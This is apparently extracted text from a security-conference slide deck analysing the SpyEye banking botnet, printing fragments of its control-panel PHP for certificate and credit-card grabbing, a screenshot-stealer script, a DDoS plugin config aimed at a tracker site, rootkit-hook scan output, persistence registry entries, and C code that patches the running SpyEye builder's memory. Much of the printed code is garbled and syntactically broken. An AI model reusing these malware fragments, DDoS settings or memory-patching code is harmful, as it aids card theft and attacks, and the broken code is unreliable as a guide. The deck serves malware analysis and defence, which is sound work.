    $sql2 = " AND bot_guid LIKE '%\$bot_guid%'";
}
if (strlen($data)) {
    if (strpos($data, '') !== false) {
        $data = str_replace('', '', $data);
    }
    if ($data !~ '\x') {
        $data = '\x' . $data;
    }
    if ($data[strlen($data) - 1] !~ '\x') {
        $data .= '\x';
    }
    $id = $_GET['id'];
    if (!$id) {
        require_once 'mod_dbase.php';
        require_once 'mod_file.php';
        $dbase = db_open();
        $sql = "SELECT data, bot_guid, name, date_rep FROM cert WHERE id = $id LIMIT 1";
        $res = mysqli_query($dbase, $sql);
        if (!($res || mysqli_num_rows($res) > 0)) {
            exit;
        }
        list($data, $bot_guid, $name, $date_rep) = mysqli_fetch_row($res);
        $dbase = mysqli_close($dbase);
        $filepath = "$bot_guid\$date_rep\$name"
        for ($i=0; $i<strlen($filepath); $i++) {
            $f = strtr($fpathpath($i) |
            $c = $c(0);";
            if ($f == 'e' & $c == 'x') {
                $fpathpath($f) = 'x';
            }
        }
        $fpathpath = "tmp\" . $fpathpath . ".pfx";
        header("Location: $fpathpath")
        $f = fopen($fpath, "w")
        $res = fwrite($f, $data);
        fclose($f);
    }
}
```
Credit Cards Grabber

- SpyEye plugin (ccgraber.dll) is used to steal credit card information
- Bot sends credit card information in POST parameters. Stored at backend.
- Well developed and designed Credit Card Stealer (CCS) plugin.

```php
if (strlen($showCVV)) {
    $sqlp4 = " AND ((ocs.data LIKE '%$cvv%') OR (ocs.data LIKE '%$csc%')
    OR (ocs.data LIKE '%$cvc%') OR (ocs.data LIKE '%$cvc%')
    OR (ocs.data LIKE '%$cvc%') OR (ocs.data LIKE '%$cvc%')
    OR (ocs.data LIKE '%$cvc%') OR (ocs.data LIKE '%$cvc%')
    OR (ocs.data LIKE '%$cvc%') OR (ocs.data LIKE '%$cvc%'))")
} if (strlen($showAddress)) {
    $sqlp5 = " AND ((ocs.data LIKE '%$addr%') OR (ocs.data LIKE '%$street%'))
} if (strlen($limit)) {
    $sqlp6 = " LIMIT $limit"
}
```
Virus Detector and Tester

- **Virus Tester**
  - SpyEye uses inbuilt virus test module to verify the detection rate of bot
  - Uses AJAX calls to perform this task *(Check Bot + Virus Test)*
  - After test verification, different encoding schemes can be used to make the bot detection harder
  - Quite impressive from thinking perspective.
screenshots stealer

- Store images (captured screenshots) in the PNG format
- It uses `frm_scr.php`, `frm_scr_sub.php` and `showimg.php` files to manage screenshots (Main Panel)
- Bots (installed keylogger) actively captures screen shots as a proper activity based on time stamps

```javascript
function findscreen.substr(1, bot_guid, date, limit) {
    var dt = new Date();
    dt.setFullYear(date);

    var mm = ''; + (dt.getMonth() + 1);
    if (mm.length == 1)
        mm = '0' + mm;
    var dd = ''; + (dt.getDate());
    if (dd.length == 1)
        dd = '0' + dd;
    var dtstr = dt.getFullYear() + '' + mm + '' + dd;

    var pdata = ajax_getInputs("frm_findscr");
    (!k) ? k = '1'; k = '0';
    $ajax_post("frm_scr_sub.php"bot_guid=" + encodeURI(bot_guid) + ":dt=" + dtstr + ":lm=" + limit + ":sk=" + k, pdata,
    'sub_div_ajax_find' + i, '<table><tr><td valign="center">
    <img border="0" src="img/ajax-loader.gif" alt="ajax-loader" title="Flx, wait a few sec.">
    Loading ...</i></td></tr></table>', callback, 1);
}

function callback(body, i) {
    var rsltel = document.getElementById('sub_div_ajax_find' + i);
    rsltel.innerHTML = body;
    ajax_findscr(i + 1);
}
```

```sql
$sql = "SELECT img FROM src_sct WHERE id = $id LIMIT 1";
$fes = mysqli_query($dbase, $sql);
if ($fes) {
    mysqli_num_rows($fes) {
        $fes = mysqli_fetch_row($fes);
        list(img) = mysqli_fetch_row($fes);
        $id = stripslashes($fes);
        echo "img: ">
```
Reverse Attacking - DDoS

- SpyEye Tracker
  - Abuse.ch released monitoring framework for SpyEye
  - Used in conjunction with Google Maps (API) with inherent logic
  - Questions:- Is SpyEye reacting to it?
    - Yes, it does. SpyEye(1.3.x) versions use DDoS plugin to use bots to attack
    - https://spyeyetracker.abuse.ch is becoming the active target.
    - Plugin – DDoS.dll.cfg is used to configure hosts for active DDoS attacks
    - Not that robust but still works and still impacts the target

```plaintext
ddos.dll.cfg - Notepad
File Edit Format View Help
ssyn spyeyetracker.abuse.ch 443 3600
ssyn madtrade.org 80 3600
```
SpyEye (Bot) – Dynamic Verification

Active Detection and Results
SpyEye (Bot) Detection - Check

- **Experiment**
  - Infecting VMware machine with SpyEye bot with rogue destination address
  - Client machine is infected and bot tries to connect back to gateway (No Setup)
  - SpyEye bot uses (1181) port number
    - Changes (incremental in nature)
    - Points to infection in process explorer.exe
    - Triggers as soon as VMware in connected to internet

- **Sysinternals Rootkit Revealer**
  - No active detection of bot
  - No warnings about modifications
  - No promising results about infection
SpyEye (Bot) Detection - Check

- Sophos Anti **Rootkit Detector**
  - No modifications detected in modules
  - Simply aims at verifying the file hierarchy
  - Is their definition of rootkit is different?

- Trend Micro **Rootkit Buster**
  - Detects no hidden process, drivers, services, files modification related to bot
  - Raised notification about kernel patching (skeptical)
    - May be productive. Depends on requirement

- Anti Rootkit **Ice Sword**
  - Not analysis
  - Only Information
SpyEye (Bot) Detection - Check

- **Invisible things** System Virginity Verifier
  - Detects modification in dynamic Link Libraries
  - **Raises high level alert (DEEPRED)**
  - Gives much more better control over the state of infected machine (Information)
SpyEye (Bot) Detection - Check

- **System Virginity Verifier**
  - Points to the infected modules
  - Effective in understanding low level hooking

- **HKCU Run Registry**
  - Must be analyzed
  - Informative
  - Definitely provides some information about malware.

```plaintext
0x2c91632d <section .text> [Ldr LoadDll]+0] 5 byte(s):
  JMPing code [jmp to: 0xea83546]
  address 0xea83546 DOES NOT belong to ANY MODULE!
  file :68 5e 02 00 00
  memory :e9 1f d2 16 92
  verdict = 5

module ntdll.dll: end of details
WS2_32.dll <71a10000 - 71ac7000>... suspected! <verdict = 5>.
module WS2_32.dll [0x71a10000 - 0x71ac7000]:
  0x71ab4c27 <section .text> [send]+0] 5 byte(s):
  JMPing code [jmp to: 0xea8f466]
  address 0xea8f466 DOES NOT belong to ANY MODULE!
  file :8b ff 55 8b ec
  memory :e9 3f a8 fd 9c
  verdict = 5

module WS2_32.dll: end of details
ADVAPI32.dll <77dd0000 - 77e6b000>... suspected! <verdict = 5>.
module ADVAPI32.dll [0x77dd0000 - 0x77e6b000]:
  0x77dee36f <section .text> [CryptoEncrypt]+0] 5 byte(s):
  JMPing code [jmp to: 0xea8736f]
  address 0xea8736f DOES NOT belong to ANY MODULE!
  file :6a 24 68 18 e4
  memory :e9 5f 0f 9c 96
  verdict = 5

module ADVAPI32.dll: end of details
USER32.dll <7e410000 - 7e4a1000>... suspected! <verdict = 5>.
module USER32.dll [0x7e410000 - 0x7e4a1000]:
  0x7e41bf6 <section .text> [TranslateMessage]+0] 5 byte(s):
  JMPing code [jmp to: 0xea85a48]
  address 0xea85a48 DOES NOT belong to ANY MODULE!
  file :8b ff 55 8b ec
  memory :e9 5c ce 66 90
  verdict = 5
```

```plaintext
\%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run nhbo "c:\documents and settings\all users\application data\microsoft\vedzi\vedzi.exe"
\%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run servicelen.exe C:\servicelen.exe\servicelen.exe
\%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FB33CD89D3EC7A3 C:\\vr0\aion\vr0\aion.exe
C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup desktop.ini
C:\\Documents and Settings\\Administrator\\Start Menu\\Programs\\Startup desktop.ini
```
Patching SpyEye Builder – Prototype

- Opening Process Handle
  - Adjusting tokens for controlling privileges
  - Taking process snapshot

```c
TOKEN_PRIVILEGES priv;
HANDLE hThis, hToken;
LUID luid;

hThis = GetCurrentProcess();
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(0, "seDebugPrivilege", &luid);
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0);
CloseHandle(hToken);
CloseHandle(hThis);

HANDLE ProcessHandle = 0;
_NT SUSPEND_PROCESS NtSuspendProcess = 0;
_NT RESUME PROCESS NtResumeProcess = 0;
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
CHAR processName[] = "SpyEye.exe";
DWORD PID = 0;
```

- Patching the Required Offsets

```c
DWORD Patch1 = 0x4010CE;
DWORD Patch2 = 0x4010D3;
DWORD Patch3 = 0x4010D5;
DWORD Patch4 = 0x4010D6;

UCHAR PatchVal1[] = "\xB8\x12\x11\x40\x00";
UCHAR PatchVal2[] = "\xFF\xD0";
UCHAR PatchVal3[] = "\x90";
UCHAR PatchVal4[] = "\x90";
```

_NTSUSPENDPROCESS = (_NTSUSPENDPROCESS)GetProcAddress( GetModuleHandle( "ntdll" ), "NTSUSPENDPROCESS" );
_NT RESUME PROCESS = (_NT RESUME PROCESS) GetProcAddress( GetModuleHandle( "ntdll" ), "NT RESUME PROCESS" );
Patching SpyEye Builder – Prototype

- Writing the Process Memory
  - Writing the required offsets to active process memory
  - Patch should be placed in the same directory as builder

```c
if ( processesSnapshot == INVALID_HANDLE_VALUE ){
    return 0;
}
Process32First(processesSnapshot, &processInfo);

while ( Process32Next(processesSnapshot, &processInfo)){
    if ( !strcmp(processName, processInfo.szExeFile)){
        CloseHandle(processesSnapshot);
        PID = processInfo.th32ProcessID;
        break;
    }
}
if(PID != NULL){
    //MessageBoxA(NULL, (LPCSTR)PID,"SpyEye.exe - PID",0);
    ProcessHandle = OpenProcess( PROCESS_ALL_ACCESS, FALSE, PID);
    if ( ProcessHandle != NULL ){
        NtSuspendProcess( ProcessHandle );
        WriteProcessMemory(ProcessHandle, (LPVOID)Patch1, &PatchVal1, sizeof(PatchVal1)-1, NULL);
        WriteProcessMemory(ProcessHandle, (LPVOID)Patch2, &PatchVal2, sizeof(PatchVal2)-1, NULL);
        WriteProcessMemory(ProcessHandle, (LPVOID)Patch3, &PatchVal3, sizeof(PatchVal3)-1, NULL);
        WriteProcessMemory(ProcessHandle, (LPVOID)Patch4, &PatchVal4, sizeof(PatchVal4)-1, NULL);
        MessageBoxA(NULL,"SpyEye Builder Manipulated","SpyEye Patched",0);
        NtResumeProcess( ProcessHandle );
    }
    CloseHandle(ProcessHandle);

    return 0;
}```
Precautionary & Analytical Steps

- Deterministic Points
  
  - Always be careful in picking samples of SpyEye (forums/ networks)
    - A method of distributing the bot rather sample sharing
      » Bots are usually configured in these samples
      » Once installed for analysis, the builder detection tool gives wrong information about the presence of bot in the system. CRITICAL.
  
  - SpyEye bots usually creates a hidden directory
    - Possibly in the root path
      » Always analyze the C:\ directory.
      » Number of tool fails from anti virus companies. Try manually.
  
  - Run time registry detection
    - Always map the entry in “Run” HKCU to the required program
  
  - Determine the network activity carefully from infected machine
    - SpyEye bot uses PORT incremental approach in establishing connections
      » Verify your network traffic in a continuous manner
  
  - Never ever forget to walk through browser configuration entries
    - SpyEye bot manipulates the browser functionality
      » Verify the registry entries and configuration of the running browser
Released and Future Work

- **Botnet Resistant Coding Concept**
  - Check out our paper in latest edition of HITB Ezine
    - [http://magazine.hackinthebox.org](http://magazine.hackinthebox.org)

- **Malware at Stake Blog**
  - Continuous research over latest happenings
    - [http://secniche.blogspot.com](http://secniche.blogspot.com)

- **Protecting Websites from Web Injects**
  - Developing solutions to prevent bank websites from being manipulated by Web injects by bots
  - Work and research is on the way
Questions
Thanks

SecNiche Security (http://www.secniche.org)
Hack In The Box (HITB) Crew (http://hackinthebox.org)